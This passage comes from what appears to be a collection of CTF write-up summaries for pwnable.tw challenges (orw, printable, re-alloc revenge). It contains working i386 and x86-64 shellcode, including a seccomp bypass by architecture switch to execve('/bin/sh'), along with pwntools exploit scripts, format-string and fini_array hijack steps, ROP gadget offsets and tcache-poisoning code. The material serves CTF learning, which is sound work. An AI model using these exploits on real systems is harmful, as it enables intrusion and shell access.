shellcode challenge. The binary reads up to 0xc8 (200) bytes of user input into a fixed BSS buffer at `0x804a060`, then jumps to it. Before execution, a seccomp BPF filter is installed via `prctl` that restricts syscalls to only `open`, `read`, `write` (plus `exit`, `exit_group`, `sigreturn`, `rt_sigreturn`). The goal is to read `/home/orw/flag` using only those three syscalls.\n\n```bash\nchecksec:\n Arch: i386-32-little\n RELRO: Partial RELRO\n Stack: Canary found\n NX: NX disabled # writable + executable BSS\n PIE: No PIE (0x8048000)\n RWX: Has RWX segments\n```\n\n## Binary Analysis\n\n### `main` Disassembly\n\n```asm\n08048548 \u003cmain>:\n 8048559: call 80484cb \u003corw_seccomp> ; install seccomp filter\n 8048561: push 0x80486a0 ; \"Give my your shellcode:\"\n 8048566: call 8048380 \u003cprintf@plt>\n 8048571: push 0xc8 ; count = 200 bytes\n 8048576: push 0x804a060 ; buf = BSS buffer\n 804857b: push 0x0 ; fd = stdin\n 804857d: call 8048370 \u003cread@plt> ; read(0, 0x804a060, 0xc8)\n 8048585: mov eax, 0x804a060\n 804858a: call *eax ; execute shellcode\n```\n\n### Seccomp Filter (BPF rules)\n\n```text\n line CODE JT JF K\n=================================\n 0000: 0x20 0x00 0x00 0x00000004 A = arch\n 0001: 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011 # NOTE: non-i386 → ALLOW\n 0002: 0x20 0x00 0x00 0x00000000 A = sys_number\n 0003: 0x15 0x07 0x00 0x000000ad if (A == rt_sigreturn) goto 0011\n 0004: 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011\n 0005: 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011\n 0006: 0x15 0x04 0x00 0x00000001 if (A == exit) goto 0011\n 0007: 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011\n 0008: 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011\n 0009: 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011\n 0010: 0x06 0x00 0x00 0x00050026 return ERRNO(38) # deny\n 0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW\n```\n\n**Allowed i386 syscalls:** `open` (5), `read` (3), `write` (4), `exit` (1), `exit_group` (252), `sigreturn` (119), `rt_sigreturn` (173).\n\n**Seccomp bug:** The architecture check at line 0001 jumps to ALLOW for non-i386 architectures. This means switching to x86-64 mode via `retf` to CS=0x33 bypasses all restrictions, allowing `execve(\"/bin/sh\")`.\n\n## Vulnerability\n\n### V1 — Arbitrary Shellcode Execution (Primary)\n\n**Root Cause:** The program reads user-supplied shellcode into an RWX BSS buffer and calls it directly with `call *eax`. No validation of the input beyond the seccomp filter.\n\n```c\n// Pseudocode of main\nvoid main() {\n orw_seccomp(); // install BPF filter\n printf(\"Give my your shellcode:\");\n read(0, (void *)0x804a060, 0xc8); // read up to 200 bytes\n ((void(*)())0x804a060)(); // execute as code\n}\n```\n\n**Impact:** Full shellcode execution, constrained only by seccomp to `open`/`read`/`write` syscalls (on i386).\n\n### V2 — Seccomp Architecture Check Bug (Bonus)\n\n**Root Cause:** The BPF filter checks `if (arch != ARCH_I386) goto ALLOW`. Non-i386 syscalls are **allowed**, not denied. On an x86-64 kernel running a 32-bit binary, a `retf` to segment selector `0x33` switches the CPU to 64-bit long mode, where all syscalls (including `execve`) pass the filter.\n\n```asm\n; Switch from 32-bit to 64-bit mode\nmov dword [esp+4], 0x33 ; CS selector for 64-bit\nretf ; far return → now in amd64 mode\n; 64-bit execve(\"/bin/sh\") shellcode follows\n```\n\n**Impact:** Full shell via `execve`, completely bypassing the intended open/read/write restriction.\n\n## Exploit Paths\n\n### Path A — open/read/write Shellcode (Intended, Standard)\n\n**Used by:** ~95% of all 302 solutions\n\nThe canonical approach: write i386 shellcode that chains `open(\"/home/orw/flag\")` → `read(fd, buf, len)` → `write(1, buf, len)`.\n\n**Shellcode logic (C equivalent):**\n```c\nint fd = open(\"/home/orw/flag\", O_RDONLY, 0); // syscall 5\nread(fd, buf, 0x30); // syscall 3\nwrite(1, buf, 0x30); // syscall 4\n```\n\n**Typical hand-written assembly (i386, ~50-70 bytes):**\n```asm\n; === open(\"/home/orw/flag\", O_RDONLY, 0) ===\nxor eax, eax\nxor ecx, ecx\npush eax ; NUL terminator\npush 0x67616c66 ; \"flag\"\npush 0x2f77726f ; \"orw/\"\npush 0x2f656d6f ; \"ome/\"\npush 0x682f2f2f ; \"///h\" (extra / padding for alignment)\nmov ebx, esp ; ebx = pointer to path on stack\nxor edx, edx\nmov al, 5 ; SYS_open\nint 0x80 ; fd returned in eax\n\n; === read(fd, esp, 0x40) ===\nmov ebx, eax ; ebx = fd\nmov ecx, esp ; ecx = buffer (reuse stack)\nmov dl, 0x40 ; edx = count\nxor eax, eax\nmov al, 3 ; SYS_read\nint 0x80\n\n; === write(1, esp, 0x40) ===\nmov edx, eax ; edx = bytes read\nxor ebx, ebx\nmov bl, 1 ; ebx = stdout\nmov al, 4 ; SYS_write\nint 0x80\n```\n\n**Variations across solutions:**\n\n| Variant | Description |\n|---------|-------------|\n| **Stack string** | Push path as dwords onto stack (most common) |\n| **Embedded string** | `call`/`pop` or `jmp`/`call`/`pop` to get address of inline string |\n| **Hardcoded BSS address** | Read file contents into a known BSS address (e.g., `0x804a040`, `0x804a100`) instead of stack |\n| **Two-stage read** | First shellcode does `read(0, writable, N)` to receive the path string, then `open`/`read`/`write` |\n| **pwntools shellcraft** | `shellcraft.open() + shellcraft.read() + shellcraft.write()` or `shellcraft.cat2()` |\n| **Byte-at-a-time** | Read and write one byte at a time in a loop (shell-storm.org shellcode-73) |\n| **Hardcoded fd=3** | Assume `open` returns fd 3 (since 0/1/2 are stdin/stdout/stderr) |\n\n**Buffer choice for `read`:**\n- **Stack (`esp`)** — most common, no address needed\n- **BSS (`0x804a040`+)** — static address, no PIE, safe\n- **Shellcode buffer itself (`0x804a060`+)** — RWX, works if shellcode is short enough\n\n---\n\n### Path B — Architecture Switch to x86-64 → `execve(\"/bin/sh\")` (Seccomp Bypass)\n\n**Used by:** Solutions 1225, 1727, and a few others\n\nExploits the seccomp filter bug where non-i386 architectures are allowed. Uses `retf` with CS=0x33 to switch the CPU from 32-bit compatibility mode to 64-bit long mode, then executes standard amd64 `execve(\"/bin/sh\")` shellcode.\n\n```asm\n; Stage 1: switch to 64-bit mode\njmp setup\nto64:\n mov dword [esp+4], 0x33 ; CS selector for long mode\n retf ; far return → 64-bit mode\nsetup:\n call to64\n\n; Stage 2: standard amd64 execve(\"/bin/sh\")\nxor eax, eax\nmov rbx, 0xff978cd091969dd1 ; NOT(\"/bin/sh\\0\")\nnot rbx\npush rbx\npush rsp\npop rdi\ncdq\npush rdx\npush rdi\npush rsp\npop rsi\nmov al, 0x3b ; SYS_execve (amd64)\nsyscall\n```\n\n**Impact:** Full interactive shell, not just flag read. Completely bypasses the intended ORW restriction.\n\n**Reliability:** 100% — no randomness involved. However, requires the remote kernel to support 64-bit mode (which it does, as it's a 64-bit host running 32-bit binaries).\n\n---\n\n### Path C — pwntools One-Liner (Convenience)\n\n**Used by:** Many solutions\n\nLeverages pwntools' `shellcraft` module to auto-generate the shellcode:\n\n```python\nfrom pwn import *\ncontext(arch='i386', os='linux')\np = remote(\"chall.pwnable.tw\", 10001)\nshellcode = asm(\n shellcraft.open(\"/home/orw/flag\") +\n shellcraft.read(\"eax\", \"esp\", 50) +\n shellcraft.write(1, \"esp\", 50)\n)\np.sendlineafter(\":\", shellcode)\nprint(p.recv())\n```\n\nOr even shorter with `shellcraft.cat2()`:\n```python\nshellcode = shellcraft.cat2(\"/home/orw/flag\")\n```\n\n## Key Technical Details\n\n### Syscall Numbers (i386 `int 0x80`)\n\n| Syscall | Number | Registers |\n|---------|--------|-----------|\n| `open` | 5 | ebx=path, ecx=flags, edx=mode |\n| `read` | 3 | ebx=fd, ecx=buf, edx=count |\n| `write` | 4 | ebx=fd, ecx=buf, edx=count |\n| `exit` | 1 | ebx=status |\n\n### String Encoding for `/home/orw/flag`\n\nThe path must be pushed onto the stack as 32-bit dwords in reverse order, with padding for 4-byte alignment:\n\n```asm\n\"/home/orw/flag\\x00\" (15 bytes) → pad to 16 with extra '/'\n\n\"///home/orw/flag\\x00\" pushed as:\n push 0x00000000 ; NUL terminator (or xor eax,eax; push eax)\n push 0x67616c66 ; \"flag\"\n push 0x2f77726f ; \"orw/\"\n push 0x2f656d6f ; \"ome/\"\n push 0x682f2f2f ; \"///h\"\n```\n\nSome solutions avoid the NUL push by using `0x00006761` for the last dword (with high bytes being zero), or use `call`/`pop` to reference an inline string.\n\n### Memory Layout\n\n| Address | Content |\n|---------|---------|\n| `0x804a060` | Shellcode buffer (BSS, RWX, 200 bytes max) |\n| `0x804a040` | Start of `.bss` section |\n| `0x804a000` | `.got.plt` |\n\n## Solution Write-ups\n\n| File | Approach | Key Technique | Notes |\n|------|----------|---------------|-------|\n| `100.md` | A | Byte-at-a-time loop from shell-storm.org | Classic shellcode-73 |\n| `117.md` | A | Hand-crafted shellcode with XOR-encoded path | Pushes path with XOR trick to avoid NUL |\n| `1001.md` | A (pwntools) | `shellcraft.open` + `shellcraft.read` + `shellcraft.write` | Cleanest pwntools approach |\n| `1039.md` | A | NASM assembly, standalone `.asm` file | Uses `xchg` tricks for compact code |\n| `1045.md` | A (pwntools) | `shellcraft.open` + `shellcraft.read(3, 'esp', 50)` | Hardcodes fd=3 |\n| `1151.md` | A (pwntools) | `shellcraft.pushstr` + `shellcraft.syscall` | Uses BSS `0x804a800` as read buffer |\n| `1169.md` | A | Compact hand-crafted, 41 bytes | Uses `xchg`/`mul` tricks for minimal size |\n| `1225.md` | **B** | **x86-64 arch switch via `retf` to CS=0x33** | Full shell bypass of seccomp filter |\n| `1266.md` | A | Hardcoded BSS addresses for path and buffer | References `0x804a095` and `0x804a220` |\n| `1297.md` | A | Stack-push path, `xchg` for register shuffling | Clean 32-bit int 0x80 |\n| `1316.md` | A | Go language exploit client | Sends raw shellcode bytes via Go net.Dial |\n| `1754.md` | A | Detailed learning log with GDB debugging | Shows full development process |\n| `10068.md` | A | NASM standalone + Python sender | Clean separation of asm and exploit |\n| `10115.md` | A | Hardcoded BSS buffer `0x804a140` | Uses `mov` instead of `push`/`pop` |\n| `10840.md` | A | Two-stage: `read` path string, then ORW | Sends path as second payload |\n| `11543.md` | A | Intel syntax `.s` file + shell pipeline | `as --32` + `objcopy` + `nc` |\n| `12928.md` | A | NASM with `call`/`pop` for inline string | Classic `jmp`-`call`-`pop` pattern |\n| `14121.md` | A | Detailed Chinese writeup with seccomp analysis | Uses `seccomp-tools`, explains BSS layout |\n| `18160.md` | A | Seccomp analysis + pwntools `shellcraft.cat2` | One-liner convenience approach |\n| `18582.md` | A | NASM + Python, detailed step-by-step | Good pedagogical writeup |\n| `20313.md` | A | Chinese writeup with full assembly explanation | Explains fd=3 assumption, stack balance |\n| `28834.md` | A | `shellcraft.cat2(\"/home/orw/flag\")` | Shortest pwntools approach |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit (raw socket, `call`/`pop` shellcode) |\n| `desc.txt` | Challenge description |\n| `artifacts/orw` | Original challenge binary (i386, stripped) |\n| `solution/*.md` | Community write-ups (302 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":12077,"content_sha256":"9791447b8cf694682e84a6ef392ba69e43ce27b1645a5a3f4978ce0b2fff864a"},{"filename":"pwnable-tw/printable.md","content":"---\ntags:\n - format-string\n - fini-array-overwrite\n - stack-pivoting\nplatform: pwnable.tw\npoints: 400\narch: x86-64\nlibc: glibc-2.23\nrelro: full\ncanary: no\nnx: yes\npie: no\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"A single printf call with closed stdout is exploited via 1-byte format string overwrite on stderr, looping execution through stack pivoting.\"\nproof-of-concept: no\n---\n\n# Printable — pwnable.tw (400 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> Everything is printable\n>\n> `nc chall.pwnable.tw 10307`\n>\n> Flag: `FLAG{FILE_str34m_1s_pr1nt4bl3}`\n\n## Challenge Overview\n\nA minimal x86-64 No-PIE binary with Full RELRO, NX, and no stack canary check. The program reads 0x80 bytes, then `printf`s the buffer as a format string — but `close(1)` is called *before* the format string executes, making the output blind. After `printf`, `exit(0)` is called — the main function never returns.\n\n```bash\nchecksec:\n Arch: amd64-64-little\n RELRO: Full RELRO # GOT is read-only\n Stack: No canary found # canary exists but exit() is called, never checked\n NX: NX enabled\n PIE: No PIE (0x400000)\n libc: glibc 2.23 (Ubuntu GLIBC 2.23-0ubuntu5)\n```\n\nDecompiled `main`:\n\n```c\nvoid main() {\n char buf[0x80]; // rbp-0x90\n init_proc(); // setvbuf(stdin/out/err, ...); alarm(60)\n memset(buf, 0, 0x80);\n printf(\"Input :\"); // flushed to fd1 BEFORE close\n close(1); // stdout closed — printf output goes nowhere\n read(0, buf, 0x80); // 0x80 bytes, no overflow\n printf(buf); // FORMAT STRING BUG (blind — fd1 is closed)\n exit(0); // never returns through main\n}\n```\n\nKey constraints:\n- **Blind format string**: `close(1)` means `printf` output fails to flush. Additionally, `vfprintf` uses a `buffered_vfprintf` helper with a 0x2000-byte stack buffer — once it fills, the failed write to fd1 causes `printf` to bail, capping `%n` writes to ~8192 characters.\n- **No return**: `exit(0)` is called, so there's no return address on the main stack to overwrite directly.\n- **Full RELRO**: GOT is read-only, `ret2dlresolve` is dead.\n- **No PIE**: `.text` and `.bss` addresses are fixed (0x400000, 0x601000).\n\nThe binary's `.bss` contains copy-relocated libc FILE pointers:\n\n```text\n0x601020 : FILE *stdout → &_IO_2_1_stdout_\n0x601030 : FILE *stdin → &_IO_2_1_stdin_\n0x601040 : FILE *stderr → &_IO_2_1_stderr_\n```\n\n## Vulnerability\n\n### V1 — Blind Format String (Primary, Exploitable)\n\n```c\nread(0, buf, 0x80);\nprintf(buf); // attacker-controlled format string\n```\n\nThe buffer is at `rsp` when `printf` is called, so user input starts at `%6 ctf-pwn — Skillopedia . The 0x80-byte input provides room for format specifiers plus up to 4 embedded pointers (at offsets 0x50–0x78).\n\n**Critical stack arguments:**\n- `%23 ctf-pwn — Skillopedia — On the second invocation (after gaining a loop), a stack pointer that happens to point at printf's own return address.\n- `%25 ctf-pwn — Skillopedia / `%60 ctf-pwn — Skillopedia — `__libc_start_main` return address → libc leak anchor.\n- `%42 ctf-pwn — Skillopedia — Pointer into `_dl_fini`'s state (specifically, the `link_map->l_addr` used to compute `fini_array` location). Writable.\n- `%53 ctf-pwn — Skillopedia — A stack pointer that can be retargeted to point at printf's return address.\n\n## Exploit Paths\n\nThe fundamental challenge is the same for all solutions: **gain a printf loop** (since the single-shot format string is blind and exits), then **restore output** (since fd1 is closed), then **leak libc** and **get code execution**.\n\n---\n\n### Path A — `_dl_fini` Hijack → Loop via Fake `fini_array` → stdout→stderr Swap → Leak + ROP\n\n**Used by:** Solutions 8153 (exp.py), 31599, 36233, 36997, 38641, 35917, 11177\n\n**Concept:** `exit()` calls `_dl_fini()` which computes `fini_array = link_map->l_addr + DT_FINI_ARRAY->d_un.d_ptr`. The `link_map` pointer is on the stack at `%42 ctf-pwn — Skillopedia . By overwriting `l_addr` (or the fini_array offset), the computed array pointer shifts into writable `.bss`, where we place a function pointer back to `main` (at `0x400925` = after the `close(1)`).\n\n**Steps:**\n\n1. **Redirect `fini_array` into `.bss`:** Write to `%42 ctf-pwn — Skillopedia to change `l_addr` so `fini_array + l_addr` points to a `.bss` address (e.g., `0x601000`). Simultaneously write the address of `0x400925` (the `read`+`printf` sequence) at that `.bss` location.\n\n2. **Swap `stdout` → `stderr`:** Partial-overwrite `stdout` pointer at `0x601020` so it points to `_IO_2_1_stderr_` instead of `_IO_2_1_stdout_`. Since they're in the same libc page, only 1-2 low bytes differ. This requires guessing one nibble of libc ASLR → **1/16 probability**.\n\n3. **When `exit()` runs**, `_dl_fini` calls the fake fini_array entry → jumps back to `read(0,buf,0x80); printf(buf)` — now we have a **printf loop** and output goes to `stderr` (fd2 = the socket).\n\n4. **Leak:** Use `%23$p` (or `%57$p`, `%60$p`) to leak a stack address and a libc address.\n\n5. **Shell:** Multiple sub-approaches:\n - **`add rsp, 0x80; ret` gadget**: Overwrite printf's return address with this libc gadget. Place `pop rdi; ret | \"/bin/sh\" | system` in the buffer at the right offset.\n - **One-gadget**: Overwrite printf's return address with a one-gadget address directly.\n - **Stack pivot to BSS + ROP**: Build a ROP chain in `.bss` via repeated format string writes, then pivot `rsp` there.\n\n**Probability:** ~1/16 per connection (libc nibble guess for `stdout→stderr` swap). Some variants add stack entropy guessing → 1/256 or 1/4096.\n\n---\n\n### Path B — Sequential (Non-Positional) Format String → Retarget Stack Pointer → Loop\n\n**Used by:** Solutions 821, 2311 (brute force version), 3498, 7905, 22319, 15724\n\n**Concept:** glibc's `vfprintf` processes **non-positional** `%` specifiers lazily (one argument at a time), but switches to `printf_positional` (which caches all arguments up front) the moment it sees a positional `%N ctf-pwn — Skillopedia specifier. By carefully placing non-positional writes *before* the first positional write, we can **retarget a stack pointer and then write through it in the same printf call**.\n\n**Steps:**\n\n1. **First payload (sequential trick):** Use 25 `%c` specifiers to advance the argument pointer to arg 26 (which is `argv`, a stack-to-stack pointer). Then `%hn` writes the low 16 bits of `printf`'s return address slot into that pointer, retargeting it. Then use a positional `%53$hhn` to write through the retargeted pointer, changing printf's return address low byte from `0x52` to `0x25` → redirecting to `0x400925` (the `read`+`printf` loop).\n\n2. **Constraint:** The `%hn` value equals `printf_ret & 0xffff`, which must be \u003c 0x2000 (the stdio buffer cap). This means the stack page nibble must be 0 → **1/16**. The low 12 bits of the stack are also randomized → **1/256** additional guess (since return address is 16-byte aligned, low nibble is fixed → 8 bits of entropy).\n\n3. **Subsequent payloads:** Now looping, use positional `%53$hhn` to keep overwriting the return address each iteration. Swap `stdout→stderr` (1/16 if not already done), leak libc/stack, and write a ROP chain or one-gadget to the return address.\n\n**Probability:** 1/4096 to 1/65536 per connection depending on variant.\n\n---\n\n### Path C — `_dl_fini` Hijack → BSS ROP Chain (No Leak Needed)\n\n**Used by:** Solutions 2311 (no-brute version), 2972, 8153\n\n**Concept:** Instead of leaking libc, build a multi-stage ROP chain entirely from the No-PIE binary's gadgets (`__libc_csu_init` pop/call gadgets) to achieve `execve(\"/bin/sh\", 0, 0)`.\n\n**Steps:**\n\n1. **Gain printf loop** via Path A's `fini_array` hijack.\n\n2. **Write ROP chain byte-by-byte into `.bss`** using repeated format string iterations. Each iteration writes one non-zero byte via `%hhn` to a specific `.bss` address.\n\n3. **Pivot:** Overwrite printf's return address with `pop rsp; pop r13; pop r14; pop r15; ret` (`0x4009bd`), targeting `.bss`.\n\n4. **ROP chain uses `__libc_csu_init` gadgets** to call `read(0, bss, large)` for a second-stage payload, then partial-overwrite a libc address in the GOT/stack to create a `syscall` gadget, and finally `execve(\"/bin/sh\", 0, 0)`.\n\n**Probability:** Deterministic after the 1/16 `fini_array` shift alignment, or fully deterministic if `l_addr` manipulation is precise.\n\n---\n\n### Path D — One-Shot: Partial Overwrite `stdin@bss` to One-Gadget via Atexit\n\n**Used by:** Solutions 11177, 6748\n\n**Concept:** The `exit()` path goes through `__run_exit_handlers` which uses an `atexit` function list. A pointer on the stack (accessible via `%42 ctf-pwn — Skillopedia ) influences the atexit array offset. By overwriting this offset to point at `stdout@bss`, and then partial-overwriting the libc pointer at `stdout@bss` to a one-gadget, `exit()` jumps directly to the one-gadget.\n\n**Steps:**\n\n1. Overwrite the atexit offset (via `%42 ctf-pwn — Skillopedia ) to redirect the exit handler to `stdout@bss` (`0x601020`).\n2. Partial-overwrite `stdout` pointer's low 3 bytes to a one-gadget address.\n3. Brute-force the remaining 12 bits of libc entropy → **1/4096**.\n\n**Probability:** 1/4096 per connection. Simpler payload, single-shot.\n\n---\n\n### Path E — Fake FILE Struct → Vtable Hijack → One-Gadget\n\n**Used by:** Solution 3498\n\n**Concept:** After gaining a printf loop (via Path A or B), construct a fake `FILE` struct in `.bss` with a crafted vtable. Redirect `stdout@bss` to the fake struct. The vtable's `xsputn` entry points to a `add byte ptr [rax], al` gadget that is repeatedly invoked by `printf`'s `buffered_vfprintf` path, incrementally transforming `stdin@bss` into a one-gadget address.\n\n**Steps:**\n\n1. Gain printf loop.\n2. Build fake FILE struct in `.bss` with `flags = 0x8002`, vtable pointing to gadgets.\n3. Swap `stdout` to the fake struct.\n4. Invoke the `add [rax], al` gadget ~58 times, each time it adds `al` to `[rax]` where `rax = stdin@bss`, slowly morphing the libc pointer into a one-gadget.\n5. When the pointer matches, the next `printf` triggers the one-gadget.\n\n**Probability:** Depends on initial libc layout; additional nibble guessing may be needed.\n\n## Key Addresses (No-PIE Binary)\n\n```python\n# Binary\nmain_read_printf = 0x400925 # read(0,buf,0x80); printf(buf) — loop target\nfini_array = 0x600db8 # .fini_array (read-only segment)\nbss_start = 0x601000 # writable .bss\nstdout_bss = 0x601020 # copy-relocated stdout\nstdin_bss = 0x601030 # copy-relocated stdin\nstderr_bss = 0x601040 # copy-relocated stderr\n\n# Gadgets\npop_rdi = 0x4009c3 # pop rdi; ret\npop_rsi_r15 = 0x4009c1 # pop rsi; pop r15; ret\npop_rsp_3 = 0x4009bd # pop rsp; pop r13; pop r14; pop r15; ret (stack pivot)\ncsu_pop6 = 0x4009ba # pop rbx; rbp; r12; r13; r14; r15; ret\ncsu_call = 0x4009a0 # call [r12+rbx*8](r15, r14, r13)\nret = 0x4009c4 # ret\n```\n\n## Offsets (pwnable.tw `libc_64.so.6`, glibc 2.23)\n\n```python\n_IO_2_1_stderr_ = 0x3c4540\n_IO_2_1_stdout_ = 0x3c4620\n__libc_start_main_ret = 0x20830\nsystem = 0x45390\nbin_sh = 0x18c177\none_gadgets = [0x4526a, 0xef6c4, 0xf0567]\n```\n\n## Exploit Primitive Summary\n\n| Primitive | Source | Reliability |\n|-----------|--------|-------------|\n| Format string (blind) | `printf(buf)` after `close(1)` | Deterministic |\n| Printf loop | `fini_array` hijack or stack retarget | 1/16 (fini) or 1/4096 (stack) |\n| Restore output | `stdout@bss` → `_IO_2_1_stderr_` partial overwrite | 1/16 (libc nibble) |\n| libc leak | `%25$p` or `%60$p` (once output restored) | Deterministic |\n| Stack leak | `%23$p` or `%11$p` | Deterministic |\n| Code execution | ROP chain / one-gadget on printf return address | Deterministic after leaks |\n\n## Solution Write-ups\n\n| File | Primary Path | Key Technique | Probability | Notes |\n|------|-------------|---------------|-------------|-------|\n| `821.md` | B | Sequential fmt → stack retarget → one-gadget | 1/4096 | Brute force stack guess |\n| `1351.md` | A | `l_addr` hijack → stdout→stderr → leak → one-gadget | 1/16 | Uses link_map pointer |\n| `2311.md` | B + C | Sequential fmt → BSS ROP (no leak) + deterministic variant | 1/4096 or det. | Two scripts: brute + no-brute |\n| `2972.md` | A + C | `fini_array` → BSS ROP via `__libc_csu_init` | ~1/16 | `mprotect` + shellcode |\n| `3148.md` | A | `fini_array` → leak → one-gadget on stack | 1/16 | Concise; direct one-gadget write |\n| `3498.md` | E | Fake FILE vtable → `add [rax], al` × N → one-gadget | 1/4096 | Most creative approach |\n| `3568.md` | A | stdout→stderr → leak → fmt write one-gadget | 1/16 | Chinese writeup |\n| `6748.md` | D | Atexit → partial overwrite stdin to one-gadget | 1/4096 | Brute 12 bits libc |\n| `7905.md` | B | Sequential trick → loop → ROP | 1/65536 | Most detailed analysis |\n| `8153.md` | A | `l_addr` + stdout swap → leak + `add rsp` ROP | 1/16 | Clean multi-stage; detailed writeup |\n| `11177.md` | D | Atexit offset → partial overwrite | 1/4096 | Size-optimized fmt writer |\n| `15724.md` | B | Stack retarget → leak → one-gadget | 1/16 | Stack + libc leak in one shot |\n| `22319.md` | B | Stack pivot → `__libc_csu_init` ROP → `syscall` | 1/4096 | No libc leak needed |\n| `24887.md` | A | `fini_array` → leak → fmt write one-gadget | 1/16 | Uses formatstring library |\n| `31599.md` | A | `fini_array` → leak → `add rsp` gadget + inline ROP | 1/16 | Exp.py approach |\n| `35917.md` | A | `_dl_fini` analysis → `fini_array` shift | 1/16 | Detailed reverse engineering |\n| `36233.md` | A | `fini_array` + stdout→stderr → leak → `add rsp, 0x80` ROP | 1/16 | Detailed Chinese writeup |\n| `38641.md` | A | `fini_array` → stdout swap → leak → `add rsp` + ROP | 1/16 | Clean exploit |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit script (Path A: `fini_array` + stdout swap + ROP) |\n| `desc.txt` | Challenge description |\n| `solution/*.md` | Community write-ups (47 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":14017,"content_sha256":"3a0f2728a433dbc4e675a318e5bca26ff5386fee4dd80dcdcb9179bdda5f81a3"},{"filename":"pwnable-tw/re_alloc_revenge.md","content":"---\ntags:\n - use-after-free\n - double-free\n - tcache-poisoning\n - io-file-exploit\nplatform: pwnable.tw\npoints: 350\narch: x86-64\nlibc: glibc-2.29\nrelro: full\ncanary: yes\nnx: yes\npie: yes\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"Exploiting realloc(ptr, 0) double free with only two allocation slots allows tcache poisoning to corrupt _IO_2_1_stdout_ and hijack __free_hook.\"\nproof-of-concept: no\n---\n\n# Re-alloc Revenge — pwnable.tw (350 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10310`\n>\n> Flag: `FLAG{r3alloc_the_heap_r3alloc_the_file_Str34m_r3alloc_my_lif3}`\n\n## Challenge Overview\n\nA heap-menu binary (x86-64, Full RELRO, PIE, NX, Canary, FORTIFY) linked against **glibc 2.29** (Ubuntu 2.29-0ubuntu2). The program provides only two heap slots (`heap[0]`, `heap[1]`), allocations capped at `0x78` bytes, and **no view/print functionality**. All allocation uses `realloc()` under the hood — even the \"free\" operation is `realloc(ptr, 0)`.\n\n```bash\nchecksec:\n Arch: amd64-64-little\n RELRO: Full RELRO # GOT not writable\n Stack: Canary found\n NX: NX enabled\n PIE: PIE enabled\n FORTIFY: Enabled\n```\n\n## Program Logic\n\n| Menu | Action | Behavior |\n|------|--------|----------|\n| 1 Alloc | `allocate(idx, size, data)` | Requires `heap[idx] == NULL`; `size \u003c= 0x78`; `malloc(size)` + `read_input` |\n| 2 Realloc | `reallocate(idx, size, data)` | Requires `heap[idx] != NULL`; `size \u003c= 0x78`; `realloc(ptr, size)` |\n| 3 Free | `rfree(idx)` | `realloc(heap[idx], 0)` then `heap[idx] = NULL` |\n| 4 Exit | | |\n\n## Vulnerabilities\n\n### V1 — `realloc(ptr, 0)` UAF / Dangling Pointer (Primary)\n\n**Root Cause:** The `reallocate` function (menu option 2) calls `realloc(heap[idx], size)`. When `size == 0`, glibc's `realloc` behaves as `free(ptr)` and returns `NULL`. The program checks the return value — since it's `NULL`, it treats this as a \"failure\" and **does not clear `heap[idx]`**:\n\n```c\n// reallocate (simplified)\nvoid *p = realloc(heap[idx], size);\nif (p == NULL) {\n // \"failure\" path — heap[idx] NOT cleared\n return;\n}\nheap[idx] = p; // only reached if realloc succeeded\n```\n\nIn contrast, the clean `rfree` (menu option 3) also calls `realloc(ptr, 0)` but **unconditionally** sets `heap[idx] = 0`.\n\n**Impact:** After `realloc(idx, 0)`, `heap[idx]` holds a dangling pointer to a freed chunk. This enables:\n- **UAF write**: `realloc(idx, original_size, data)` writes into the freed chunk (editing its `fd` pointer in tcache).\n- **Double-free**: `realloc(idx, 0)` again frees the same chunk a second time (after clearing the tcache `key` field to bypass glibc 2.29's double-free check).\n\n### V2 — Off-by-One NULL in `allocate` (Minor, Enabler)\n\nThe `allocate` function's `read_input` appends a NUL byte at `buf[nread]`. When exactly `size` bytes are sent (no newline), this writes a `\\x00` one byte past the chunk's usable area — a **poison null byte** that can corrupt the size field of the next chunk.\n\n## Key Constraints\n\n- **Only 2 slots** (`heap[0]`, `heap[1]`) — severely limits heap manipulation. Requires creative use of `realloc` to resize/split/merge chunks.\n- **Max size 0x78** — all allocations fit in tcache bins (0x20–0x80). Getting libc pointers requires forcing chunks into unsorted/smallbins.\n- **No output primitive** — no \"view\" or \"print\" function. Leak must come from FSOP (overwriting `_IO_2_1_stdout_`).\n- **Full RELRO** — GOT is read-only. Must target hooks (`__free_hook`, `__malloc_hook`, `__realloc_hook`).\n- **glibc 2.29** — tcache has a `key` field for double-free detection (bypass by overwriting it via UAF).\n\n## Key Technique: Tcache Poisoning with 2 Slots\n\nThe fundamental write-what-where primitive with only 2 slots:\n\n```python\nalloc(0, 0x78) # allocate chunk P (tcache bin 0x80)\nrealloc(0, 0) # free P → tcache[0x80] = [P], heap[0] = P (dangling)\nrealloc(0, 0x78, p64(target_addr)) # UAF write: P.fd = target_addr\nalloc(1, 0x78) # pop P from tcache; entries[0x80] = target_addr\nrealloc(1, 0x28) # shrink P to 0x30, remainder goes to different bin\nfree(1) # free P(0x30) → tcache[0x30]; heap[1] = NULL\nalloc(1, 0x78, payload) # pops target_addr from tcache[0x80] → write payload there\n```\n\nThe trick: after popping P, shrink it to a **different size** before freeing, so tcache[0x80]'s head stays pointing at `target_addr`.\n\n## Exploit Paths\n\nAll 51 solutions share the same core strategy (V1 UAF → tcache poison → stdout leak → hook overwrite), differing mainly in how they obtain libc pointers.\n\n---\n\n### Path A — Fake Large Chunk → Unsorted Bin → Partial Overwrite stdout (Most Common)\n\n**Used by:** Solutions 821, 2972, 3025, 3148, 6923, 7905, 8153, 9074, 9251, 9448, 15522, 17006, 20719, 26250, 31599, 34817, exp.py\n\n**Steps:**\n\n1. **Craft a fake large chunk** (size `0x421`–`0x811`) by writing a fake size field into an adjacent chunk via `realloc` resizing. The fake chunk must be large enough to bypass tcache (> 0x408 bytes or fill tcache count to 7).\n\n2. **Free the fake chunk** so it enters the **unsorted 